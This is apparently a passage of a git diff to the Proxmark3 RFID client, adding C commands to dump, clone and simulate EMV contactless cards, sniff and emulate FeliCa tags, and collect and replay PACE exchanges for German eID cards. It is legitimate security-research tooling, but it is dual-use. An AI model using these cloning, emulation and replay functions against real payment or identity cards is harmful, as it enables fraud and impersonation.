char*Cmd); +extern int HF15Reader(const char *Cmd, bool verbose); +extern int CmdHF15Demod(const char *Cmd); +extern int CmdHF15Samples(const char *Cmd); +extern int CmdHF15Info(const char *Cmd); +extern int CmdHF15Record(const char *Cmd); +extern int CmdHF15Reader(const char *Cmd); +extern int CmdHF15Sim(const char *Cmd); +extern int CmdHF15Afi(const char *Cmd); +extern int CmdHF15Dump(const char*Cmd); +extern int CmdHF15Raw(const char *cmd); +extern int CmdHF15Readmulti(const char *Cmd); +extern int CmdHF15Read(const char *Cmd); +extern int CmdHF15Write(const char *Cmd); + +extern int CmdHF15Help(const char*Cmd); + +// usages +extern int usage_15_demod(void); +extern int usage_15_samples(void); +extern int usage_15_info(void); +extern int usage_15_record(void); +extern int usage_15_reader(void); +extern int usage_15_sim(void); +extern int usage_15_findafi(void); +extern int usage_15_dump(void); +extern int usage_15_restore(void); +extern int usage_15_raw(void); + +extern int usage_15_read(void); +extern int usage_15_write(void); +extern int usage_15_readmulti(void); + +extern int prepareHF15Cmd(char **cmd, UsbCommand *c, uint8_t iso15cmd); #endif diff --git a/client/cmdhfemv.c b/client/cmdhfemv.c new file mode 100644 index 000000000..ab9396a14 --- /dev/null +++ b/client/cmdhfemv.c @@ -0,0 +1,351 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2014 Peter Fillmore +// 2017 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// High frequency EMV commands +//----------------------------------------------------------------------------- +#include "cmdhfemv.h" + +static int CmdHelp(const char *Cmd); + +int usage_hf_emv_test(void){ + PrintAndLogEx(NORMAL, "EMV test "); + PrintAndLogEx(NORMAL, "Usage: hf emv test [h]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h : this help"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf emv test"); + return 0; +} +int usage_hf_emv_readrecord(void){ + PrintAndLogEx(NORMAL, "Read a EMV record "); + PrintAndLogEx(NORMAL, "Usage: hf emv readrecord [h] "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h : this help"); + PrintAndLogEx(NORMAL, " : number of records"); + PrintAndLogEx(NORMAL, " : number of SFI records"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf emv readrecord 1 1"); + return 0; +} +int usage_hf_emv_clone(void){ + PrintAndLogEx(NORMAL, "Usage: hf emv clone [h] "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h : this help"); + PrintAndLogEx(NORMAL, " : number of records"); + PrintAndLogEx(NORMAL, " : number of SFI records"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf emv clone 10 10"); + return 0; +} +int usage_hf_emv_transaction(void){ + PrintAndLogEx(NORMAL, "Performs EMV reader transaction"); + PrintAndLogEx(NORMAL, "Usage: hf emv trans [h]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h : this help"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf emv trans"); + return 0; +} +int usage_hf_emv_getrnd(void){ + PrintAndLogEx(NORMAL, "retrieve the UN number from a terminal"); + PrintAndLogEx(NORMAL, "Usage: hf emv getrnd [h]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h : this help"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf emv getrnd"); + return 0; +} +int usage_hf_emv_eload(void){ + PrintAndLogEx(NORMAL, "set EMV tags in the device to use in a transaction"); + PrintAndLogEx(NORMAL, "Usage: hf emv eload [h] o "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h : this help"); + PrintAndLogEx(NORMAL, " o : filename w/o '.bin'"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf emv eload o myfile"); + return 0; +} +int usage_hf_emv_dump(void){ + PrintAndLogEx(NORMAL, "Gets EMV contactless tag values."); + PrintAndLogEx(NORMAL, "and saves binary dump into the file `filename.bin` or `cardUID.bin`"); + PrintAndLogEx(NORMAL, "Usage: hf emv dump [h] o "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h : this help"); + PrintAndLogEx(NORMAL, " o : filename w/o '.bin' to dump bytes"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf emv dump"); + PrintAndLogEx(NORMAL, " hf emv dump o myfile"); + return 0; +} +int usage_hf_emv_sim(void){ + PrintAndLogEx(NORMAL, "Simulates a EMV contactless card"); + PrintAndLogEx(NORMAL, "Usage: hf emv sim [h]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h : this help"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf emv sim"); + return 0; +} + +int CmdHfEmvTest(const char *Cmd) { + char cmdp = param_getchar(Cmd, 0); + if ( cmdp == 'h' || cmdp == 'H') return usage_hf_emv_test(); + + UsbCommand c = {CMD_EMV_TEST, {0, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "Command execute time-out"); + return 1; + } + uint8_t isOK = resp.arg[0] & 0xff; + PrintAndLogEx(NORMAL, "isOk: %02x", isOK); + return 0; +} + +int CmdHfEmvReadRecord(const char *Cmd) { + char cmdp = param_getchar(Cmd, 0); + if ((strlen(Cmd)<3) || cmdp == 'h' || cmdp == 'H') return usage_hf_emv_readrecord(); + + uint8_t record = param_get8(Cmd, 0); + uint8_t sfi = param_getchar(Cmd, 1); + if(record > 32){ + PrintAndLogEx(WARNING, "Record must be less than 32"); + return 1; + } + PrintAndLogEx(NORMAL, "--record no:%02x SFI:%02x ", record, sfi); + + UsbCommand c = {CMD_EMV_READ_RECORD, {record, sfi, 0}}; + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "Command execute timeout"); + return 1; + } + uint8_t isOK = resp.arg[0] & 0xff; + PrintAndLogEx(NORMAL, "isOk:%02x", isOK); + return 0; +} + +int CmdHfEmvClone(const char *Cmd) { + char cmdp = param_getchar(Cmd, 0); + if ((strlen(Cmd)<3) || cmdp == 'h' || cmdp == 'H') return usage_hf_emv_clone(); + + uint8_t record = param_get8(Cmd, 0); + uint8_t sfi = param_get8(Cmd, 1); + if(record > 32){ + PrintAndLogEx(WARNING, "Record must be less than 32"); + return 1; + } + UsbCommand c = {CMD_EMV_CLONE, {sfi, record, 0}}; + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "Command execute timeout"); + return 1; + } + uint8_t isOK = resp.arg[0] & 0xff; + PrintAndLogEx(NORMAL, "isOk:%02x", isOK); + return 0; +} + +int CmdHfEmvTrans(const char *Cmd) { + char cmdp = param_getchar(Cmd, 0); + if ( cmdp == 'h' || cmdp == 'H') return usage_hf_emv_transaction(); + + UsbCommand c = {CMD_EMV_TRANSACTION, {0, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + if (!WaitForResponseTimeout(CMD_ACK, &resp, 5000)) { + PrintAndLogEx(WARNING, "Command execute time-out"); + return 1; + } + uint8_t isOK = resp.arg[0] & 0xff; + PrintAndLogEx(NORMAL, "isOk: %02x", isOK); + print_hex_break(resp.d.asBytes, 512, 32); + return 0; +} +//retrieve the UN number from a terminal +int CmdHfEmvGetrng(const char *Cmd) { + char cmdp = param_getchar(Cmd, 0); + if ( cmdp == 'h' || cmdp == 'H') return usage_hf_emv_getrnd(); + UsbCommand c = {CMD_EMV_GET_RANDOM_NUM, {0, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); + return 0; +} +//Load a dumped EMV tag on to emulator memory +int CmdHfEmvELoad(const char *Cmd) { + FILE * f; + char filename[FILE_PATH_SIZE]; + char *fnameptr = filename; + int len; + bool errors = false; + uint8_t cmdp = 0; + + while(param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch(param_getchar(Cmd, cmdp)) { + case 'h': + case 'H': + return usage_hf_emv_eload(); + case 'o': + case 'O': + len = param_getstr(Cmd, cmdp+1, filename, FILE_PATH_SIZE); + if (!len) + errors = true; + if (len > FILE_PATH_SIZE-5) + len = FILE_PATH_SIZE-5; + sprintf(fnameptr + len,".bin"); + cmdp += 2; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + //Validations + if (errors || cmdp == 0) return usage_hf_emv_eload(); + + // open file + f = fopen(filename,"r"); + if (!f) { + PrintAndLogEx(WARNING, "File %s not found or locked", filename); + return 1; + } + + char line[512]; + char *token; + uint16_t tag; + + UsbCommand c = {CMD_EMV_LOAD_VALUE, {0,0,0}}; + + // transfer to device + while (fgets(line, sizeof (line), f)) { + PrintAndLogEx(NORMAL, "LINE = %s\n", line); + + token = strtok(line, ":"); + tag = (uint16_t)strtol(token, NULL, 0); + token = strtok(NULL,""); + + c.arg[0] = tag; + memcpy(c.d.asBytes, token, strlen(token)); + + clearCommandBuffer(); + SendCommand(&c); + + PrintAndLogEx(NORMAL, "Loaded TAG = %04x\n", tag); + PrintAndLogEx(NORMAL, "Loaded VALUE = %s\n", token); + } + + fclose(f); + PrintAndLogEx(NORMAL, "loaded %s", filename); + //PrintAndLogEx(NORMAL, "\nLoaded %d bytes from file: %s to emulator memory", numofbytes, filename); + return 0; +} + +int CmdHfEmvDump(const char *Cmd){ + + bool errors = false; + uint8_t cmdp = 0; + while(param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch(param_getchar(Cmd, cmdp)) { + case 'h': + case 'H': + return usage_hf_emv_dump(); + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + //Validations + if (errors) return usage_hf_emv_dump(); + + UsbCommand c = {CMD_EMV_DUMP_CARD, {0, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) { + PrintAndLogEx(WARNING, "Command execute time-out"); + return 1; + } + return 0; +} + +int CmdHfEmvSim(const char *Cmd) { + + bool errors = false; + uint8_t cmdp = 0; + while(param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch(param_getchar(Cmd, cmdp)) { + case 'h': + case 'H': + return usage_hf_emv_sim(); + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + //Validations + if (errors) return usage_hf_emv_sim(); + + UsbCommand c = {CMD_EMV_SIM, {0,0,0}}; + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "Command execute time-out"); + return 1; + } + uint8_t isOK = resp.arg[0] & 0xff; + PrintAndLogEx(NORMAL, "isOk:%02x", isOK); + return 0; +} + +int CmdHfEmvList(const char *Cmd) { + return CmdTraceList("7816"); +} + +static command_t CommandTable[] = { + {"help", CmdHelp, 1, "This help"}, + {"readrecord", CmdHfEmvReadRecord, 0, "EMV Read Record"}, + {"transaction", CmdHfEmvTrans, 0, "Perform EMV Transaction"}, + {"getrng", CmdHfEmvGetrng, 0, "get random number from terminal"}, + {"eload", CmdHfEmvELoad, 0, "load EMV tag into device"}, + {"dump", CmdHfEmvDump, 0, "dump EMV tag values"}, + {"sim", CmdHfEmvSim, 0, "simulate EMV tag"}, + {"clone", CmdHfEmvClone, 0, "clone an EMV tag"}, + {"list", CmdHfEmvList, 0, "[Deprecated] List ISO7816 history"}, + {"test", CmdHfEmvTest, 0, "Test Function"}, + {NULL, NULL, 0, NULL} +}; + +int CmdHFEmv(const char *Cmd) { + clearCommandBuffer(); + CmdsParse(CommandTable, Cmd); + return 0; +} + +int CmdHelp(const char *Cmd) { + CmdsHelp(CommandTable); + return 0; +} \ No newline at end of file diff --git a/client/cmdhfemv.h b/client/cmdhfemv.h new file mode 100644 index 000000000..0b68a455c --- /dev/null +++ b/client/cmdhfemv.h @@ -0,0 +1,45 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2014 Peter Fillmore +// 2017 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// High frequency EMV commands +//----------------------------------------------------------------------------- + +#ifndef CMDHFEMV_H__ +#define CMDHFEMV_H__ + +#include +#include +#include "proxmark3.h" +#include "ui.h" +#include "cmdparser.h" +#include "cmdmain.h" +#include "util.h" +#include "cmdhf.h" // "hf list" + +int CmdHFEmv(const char *Cmd); + +int CmdHfEmvTest(const char *Cmd); +int CmdHfEmvReadRecord(const char *Cmd); +int CmdHfEmvClone(const char *Cmd); +int CmdHfEmvTrans(const char *Cmd); +int CmdHfEmvGetrng(const char *Cmd); +int CmdHfEmvELoad(const char *Cmd); +int CmdHfEmvDump(const char *Cmd); +int CmdHfEmvSim(const char *Cmd); +int CmdHfEmvList(const char *Cmd); + +int usage_hf_emv_test(void); +int usage_hf_emv_readrecord(void); +int usage_hf_emv_clone(void); +int usage_hf_emv_transaction(void); +int usage_hf_emv_getrnd(void); +int usage_hf_emv_eload(void); +int usage_hf_emv_dump(void); +int usage_hf_emv_sim(void); + +#endif diff --git a/client/cmdhfepa.c b/client/cmdhfepa.c index 8a36d6aef..b681810ed 100644 --- a/client/cmdhfepa.c +++ b/client/cmdhfepa.c @@ -7,15 +7,6 @@ //----------------------------------------------------------------------------- // Commands related to the German electronic Identification Card //----------------------------------------------------------------------------- - -#include "util.h" -//#include "proxusb.h" -#include "proxmark3.h" -#include "ui.h" -#include "cmdparser.h" -#include "common.h" -#include "cmdmain.h" -#include "sleep.h" #include "cmdhfepa.h" static int CmdHelp(const char *Cmd); @@ -24,72 +15,167 @@ static int CmdHelp(const char *Cmd); int CmdHFEPACollectPACENonces(const char *Cmd) { // requested nonce size - unsigned int m = 0; + uint32_t m = 0; // requested number of Nonces - unsigned int n = 0; + uint32_t n = 0; // delay between requests - unsigned int d = 0; - + uint32_t d = 0; + sscanf(Cmd, "%u %u %u", &m, &n, &d); - + // values are expected to be > 0 m = m > 0 ? m : 1; n = n > 0 ? n : 1; - PrintAndLog("Collecting %u %"hhu"-byte nonces", n, m); - PrintAndLog("Start: %u", time(NULL)); + PrintAndLogEx(NORMAL, "Collecting %u %u byte nonces", n, m); + PrintAndLogEx(NORMAL, "Start: %" PRIu64, msclock()/1000); // repeat n times - for (unsigned int i = 0; i < n; i++) { + for (uint32_t i = 0; i < n; i++) { // execute PACE UsbCommand c = {CMD_EPA_PACE_COLLECT_NONCE, {(int)m, 0, 0}}; + clearCommandBuffer(); SendCommand(&c); UsbCommand resp; - - WaitForResponse(CMD_ACK,&resp); + WaitForResponse(CMD_ACK,&resp); // check if command failed if (resp.arg[0] != 0) { - PrintAndLog("Error in step %d, Return code: %d",resp.arg[0],(int)resp.arg[1]); + PrintAndLogEx(FAILED, "Error in step %d, Return code: %d",resp.arg[0],(int)resp.arg[1]); } else { size_t nonce_length = resp.arg[1]; char *nonce = (char *) malloc(2 * nonce_length + 1); for(int j = 0; j < nonce_length; j++) { - snprintf(nonce + (2 * j), 3, "%02X", resp.d.asBytes[j]); + sprintf(nonce + (2 * j), "%02X", resp.d.asBytes[j]); } // print nonce - PrintAndLog("Length: %d, Nonce: %s",resp.arg[1], nonce); + PrintAndLogEx(NORMAL, "Length: %d, Nonce: %s", nonce_length, nonce); + free(nonce); } if (i < n - 1) { sleep(d); } } - PrintAndLog("End: %u", time(NULL)); - + PrintAndLogEx(NORMAL, "End: %" PRIu64, msclock()/1000); return 1; } -// UI-related stuff - -static const command_t CommandTable[] = +// perform the PACE protocol by replaying APDUs +int CmdHFEPAPACEReplay(const char *Cmd) { - {"help", CmdHelp, 1, "This help"}, - {"cnonces", CmdHFEPACollectPACENonces, 0, - " Acquire n>0 encrypted PACE nonces of size m>0 with d sec pauses"}, - {NULL, NULL, 0, NULL} -}; + // the 4 APDUs which are replayed + their lengths + uint8_t msesa_apdu[41], gn_apdu[8], map_apdu[75]; + uint8_t pka_apdu[75], ma_apdu[18], apdu_lengths[5] = {0}; + // pointers to the arrays to be able to iterate + uint8_t *apdus[] = {msesa_apdu, gn_apdu, map_apdu, pka_apdu, ma_apdu}; -int CmdHelp(const char *Cmd) -{ - CmdsHelp(CommandTable); - return 0; + // usage message + static const char *usage_msg = + "Please specify 5 APDUs separated by spaces. " + "Example:\n preplay 0022C1A4 1068000000 1086000002 1234ABCDEF 1A2B3C4D"; + + // Proxmark response + UsbCommand resp; + + int skip = 0, skip_add = 0, scan_return = 0; + // for each APDU + for (int i = 0; i < sizeof(apdu_lengths); i++) { + // scan to next space or end of string + while (Cmd[skip] != ' ' && Cmd[skip] != '\0') { + // convert + scan_return = sscanf(Cmd + skip, "%2X%n", + (unsigned int *) (apdus[i] + apdu_lengths[i]), + &skip_add); + if (scan_return < 1) { + PrintAndLogEx(NORMAL, (char *)usage_msg); + PrintAndLogEx(WARNING, "Not enough APDUs! Try again!"); + return 0; + } + skip += skip_add; + apdu_lengths[i]++; + } + + // break on EOF + if (Cmd[skip] == '\0') { + if (i < sizeof(apdu_lengths) - 1) { + + PrintAndLogEx(NORMAL, (char *)usage_msg); + return 0; + } + break; + } + // skip the space + skip++; + } + + // transfer the APDUs to the Proxmark + UsbCommand usb_cmd; + usb_cmd.cmd = CMD_EPA_PACE_REPLAY; + for (int i = 0; i < sizeof(apdu_lengths); i++) { + // APDU number + usb_cmd.arg[0] = i + 1; + // transfer the APDU in several parts if necessary + for (int j = 0; j * sizeof(usb_cmd.d.asBytes) < apdu_lengths[i]; j++) { + // offset into the APDU + usb_cmd.arg[1] = j * sizeof(usb_cmd.d.asBytes); + // amount of data in this packet + int packet_length = apdu_lengths[i] - (j * sizeof(usb_cmd.d.asBytes)); + if (packet_length > sizeof(usb_cmd.d.asBytes)) { + packet_length = sizeof(usb_cmd.d.asBytes); + } + usb_cmd.arg[2] = packet_length; + + memcpy(usb_cmd.d.asBytes, // + (j * sizeof(usb_cmd.d.asBytes)), + apdus[i] + (j * sizeof(usb_cmd.d.asBytes)), + packet_length); + + clearCommandBuffer(); + SendCommand(&usb_cmd); + WaitForResponse(CMD_ACK, &resp); + if (resp.arg[0] != 0) { + PrintAndLogEx(WARNING, "Transfer of APDU #%d Part %d failed!", i, j); + return 0; + } + } + } + + // now perform the replay + usb_cmd.arg[0] = 0; + clearCommandBuffer(); + SendCommand(&usb_cmd); + WaitForResponse(CMD_ACK, &resp); + if (resp.arg[0] != 0) { + PrintAndLogEx(NORMAL, "\nPACE replay failed in step %u!", (uint32_t)resp.arg[0]); + PrintAndLogEx(NORMAL, "Measured times:"); + PrintAndLogEx(NORMAL, "MSE Set AT: %u us", resp.d.asDwords[0]); + PrintAndLogEx(NORMAL, "GA Get Nonce: %u us", resp.d.asDwords[1]); + PrintAndLogEx(NORMAL, "GA Map Nonce: %u us", resp.d.asDwords[2]); + PrintAndLogEx(NORMAL, "GA Perform Key Agreement: %u us", resp.d.asDwords[3]); + PrintAndLogEx(NORMAL, "GA Mutual Authenticate: %u us", resp.d.asDwords[4]); + } else { + PrintAndLogEx(NORMAL, "PACE replay successfull!"); + PrintAndLogEx(NORMAL, "MSE Set AT: %u us", resp.d.asDwords[0]); + PrintAndLogEx(NORMAL, "GA Get Nonce: %u us", resp.d.asDwords[1]); + PrintAndLogEx(NORMAL, "GA Map Nonce: %u us", resp.d.asDwords[2]); + PrintAndLogEx(NORMAL, "GA Perform Key Agreement: %u us", resp.d.asDwords[3]); + PrintAndLogEx(NORMAL, "GA Mutual Authenticate: %u us", resp.d.asDwords[4]); + } + return 1; } -int CmdHFEPA(const char *Cmd) -{ - // flush - WaitForResponseTimeout(CMD_ACK,NULL,100); +static command_t CommandTable[] = { + {"help", CmdHelp, 1, "This help"}, + {"cnonces", CmdHFEPACollectPACENonces, 0, " Acquire n>0 encrypted PACE nonces of size m>0 with d sec pauses"}, + {"preplay", CmdHFEPAPACEReplay, 0, " Perform PACE protocol by replaying given APDUs"}, + {NULL, NULL, 0, NULL} +}; - // parse - CmdsParse(CommandTable, Cmd); - return 0; +int CmdHelp(const char *Cmd) { + CmdsHelp(CommandTable); + return 0; +} + +int CmdHFEPA(const char *Cmd) { + clearCommandBuffer(); + CmdsParse(CommandTable, Cmd); + return 0; } \ No newline at end of file diff --git a/client/cmdhfepa.h b/client/cmdhfepa.h index 94ad7d231..914ce4c5d 100644 --- a/client/cmdhfepa.h +++ b/client/cmdhfepa.h @@ -11,8 +11,22 @@ #ifndef CMDHFEPA_H__ #define CMDHFEPA_H__ -int CmdHFEPA(const char *Cmd); +#include +#include +#include +#include +#include +#include "util.h" +#include "proxmark3.h" +#include "common.h" +#include "ui.h" +#include "cmdparser.h" +#include "cmdmain.h" +#include "util_posix.h" -int CmdHFEPACollectPACENonces(const char *Cmd); + +extern int CmdHFEPA(const char *Cmd); +extern int CmdHFEPACollectPACENonces(const char *Cmd); +extern int CmdHFEPAPACEReplay(const char *Cmd); #endif // CMDHFEPA_H__ diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c new file mode 100644 index 000000000..25baca523 --- /dev/null +++ b/client/cmdhffelica.c @@ -0,0 +1,569 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2017 October, Satsuoni +// 2017 iceman +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// High frequency ISO18092 / FeliCa commands +//----------------------------------------------------------------------------- +#include "cmdhffelica.h" + +static int CmdHelp(const char *Cmd); + +int usage_hf_felica_sim(void) { + PrintAndLogEx(NORMAL, "\n Emulating ISO/18092 FeliCa tag \n"); + PrintAndLogEx(NORMAL, "Usage: hf felica sim [h] t [v]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h : This help"); + PrintAndLogEx(NORMAL, " t : 1 = FeliCa"); + PrintAndLogEx(NORMAL, " : 2 = FeliCaLiteS"); + PrintAndLogEx(NORMAL, " v : (Optional) Verbose"); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf felica sim t 1 "); + return 0; +} +int usage_hf_felica_sniff(void){ + PrintAndLogEx(NORMAL, "It get data from the field and saves it into command buffer."); + PrintAndLogEx(NORMAL, "Buffer accessible from command 'hf list felica'"); + PrintAndLogEx(NORMAL, "Usage: hf felica sniff "); + PrintAndLogEx(NORMAL, " s samples to skip (decimal)"); + PrintAndLogEx(NORMAL, " t triggers to skip (decimal)"); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf felica sniff s 1000"); + return 0; +} +int usage_hf_felica_simlite(void) { + PrintAndLogEx(NORMAL, "\n Emulating ISO/18092 FeliCa Lite tag \n"); + PrintAndLogEx(NORMAL, "Usage: hf felica litesim [h] u "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h : This help"); + PrintAndLogEx(NORMAL, " uid : UID in hexsymbol"); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf felica litesim 11223344556677"); + return 0; +} +int usage_hf_felica_dumplite(void) { + PrintAndLogEx(NORMAL, "\n Dump ISO/18092 FeliCa Lite tag \n"); + PrintAndLogEx(NORMAL, "press button to abort run, otherwise it will loop for 200sec."); + PrintAndLogEx(NORMAL, "Usage: hf felica litedump [h]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h : This help"); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf felica litedump"); + return 0; +} +int usage_hf_felica_raw(void){ + PrintAndLogEx(NORMAL, "Usage: hf felica raw [-h] [-r] [-c] [-p] [-a] <0A 0B 0C ... hex>"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -r do not read response"); + PrintAndLogEx(NORMAL, " -c calculate and append CRC"); + PrintAndLogEx(NORMAL, " -p leave the signal field ON after receive"); + PrintAndLogEx(NORMAL, " -a active signal field ON without select"); + PrintAndLogEx(NORMAL, " -s active signal field ON with select"); + return 0; +} + +int CmdHFFelicaList(const char *Cmd) { + //PrintAndLogEx(NORMAL, "Deprecated command, use 'hf list felica' instead"); + CmdTraceList("raw"); + return 0; +} + +int CmdHFFelicaReader(const char *Cmd) { + bool silent = (Cmd[0] == 's' || Cmd[0] == 'S'); + //UsbCommand cDisconnect = {CMD_FELICA_COMMAND, {0,0,0}}; + UsbCommand c = {CMD_FELICA_COMMAND, {FELICA_CONNECT, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2500)) { + if (!silent) PrintAndLogEx(WARNING, "FeliCa card select failed"); + //SendCommand(&cDisconnect); + return 0; + } + + felica_card_select_t card; + memcpy(&card, (felica_card_select_t *)resp.d.asBytes, sizeof(felica_card_select_t)); + uint64_t status = resp.arg[0]; + + switch(status) { + case 1: { + if (!silent) + PrintAndLogEx(WARNING, "card timeout"); + break; + } + case 2: { + if (!silent) + PrintAndLogEx(WARNING, "card answered wrong"); + break; + } + case 3: { + if (!silent) + PrintAndLogEx(WARNING, "CRC check failed"); + break; + } + case 0: { + PrintAndLogEx(SUCCESS, "FeliCa tag info"); + + PrintAndLogEx(NORMAL, "IDm %s", sprint_hex(card.IDm, sizeof(card.IDm))); + PrintAndLogEx(NORMAL, " - CODE %s", sprint_hex(card.code, sizeof(card.code))); + PrintAndLogEx(NORMAL, " - NFCID2 %s", sprint_hex(card.uid, sizeof(card.uid))); + + PrintAndLogEx(NORMAL, "Parameter (PAD) | %s", sprint_hex(card.PMm, sizeof(card.PMm))); + PrintAndLogEx(NORMAL, " - IC CODE %s", sprint_hex(card.iccode, sizeof(card.iccode))); + PrintAndLogEx(NORMAL, " - MRT %s", sprint_hex(card.mrt, sizeof(card.mrt))); + + PrintAndLogEx(NORMAL, "SERVICE CODE %s", sprint_hex(card.servicecode, sizeof(card.servicecode))); + break; + } + } + return status; +} + +// simulate iso18092 / FeliCa tag +int CmdHFFelicaSim(const char *Cmd) { + bool errors = false; + uint8_t flags = 0; + uint8_t tagtype = 1; + uint8_t cmdp = 0; + uint8_t uid[10] = {0,0,0,0,0,0,0,0,0,0}; + int uidlen = 0; + bool verbose = false; + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (param_getchar(Cmd, cmdp)) { + case 'h': + case 'H': + return usage_hf_felica_sim(); + case 't': + case 'T': + // Retrieve the tag type + tagtype = param_get8ex(Cmd, cmdp+1, 0, 10); + if (tagtype == 0) + errors = true; + cmdp += 2; + break; + case 'u': + case 'U': + // Retrieve the full 4,7,10 byte long uid + param_gethex_ex(Cmd, cmdp+1, uid, &uidlen); + if (!errors) { + PrintAndLogEx(NORMAL, "Emulating ISO18092/FeliCa tag with %d byte UID (%s)", uidlen>>1, sprint_hex(uid, uidlen>>1)); + } + cmdp += 2; + break; + case 'v': + case 'V': + verbose = true; + cmdp++; + break; + case 'e': + case 'E': + cmdp++; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + //Validations + if (errors || cmdp == 0) return usage_hf_felica_sim(); + + UsbCommand c = {CMD_FELICA_SIMULATE_TAG,{ tagtype, flags, 0 }}; + memcpy(c.d.asBytes, uid, uidlen>>1); + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + + if ( verbose ) + PrintAndLogEx(NORMAL, "Press pm3-button to abort simulation"); + + while( !ukbhit() ){ + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500) ) continue; + } + return 0; +} + +int CmdHFFelicaSniff(const char *Cmd) { + + uint8_t cmdp = 0; + uint64_t samples2skip = 0; + uint64_t triggers2skip = 0; + bool errors = false; + + while(param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch(param_getchar(Cmd, cmdp)) { + case 'h': + case 'H': + return usage_hf_felica_sniff(); + case 's': + case 'S': + samples2skip = param_get32ex(Cmd, cmdp+1, 0, 10); + cmdp += 2; + break; + case 't': + case 'T': + triggers2skip = param_get32ex(Cmd, cmdp+1, 0, 10); + cmdp += 2; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + //Validations + if (errors || cmdp == 0) return usage_hf_felica_sniff(); + + UsbCommand c = {CMD_FELICA_SNOOP, {samples2skip, triggers2skip, 0}}; + clearCommandBuffer(); + SendCommand(&c); + return 0; +} + +// uid hex +int CmdHFFelicaSimLite(const char *Cmd) { + + uint64_t uid = param_get64ex(Cmd, 0, 0, 16); + + if (!uid) + return usage_hf_felica_simlite(); + + UsbCommand c = {CMD_FELICA_LITE_SIM, {uid, 0, 0} }; + clearCommandBuffer(); + SendCommand(&c); + return 0; +} + 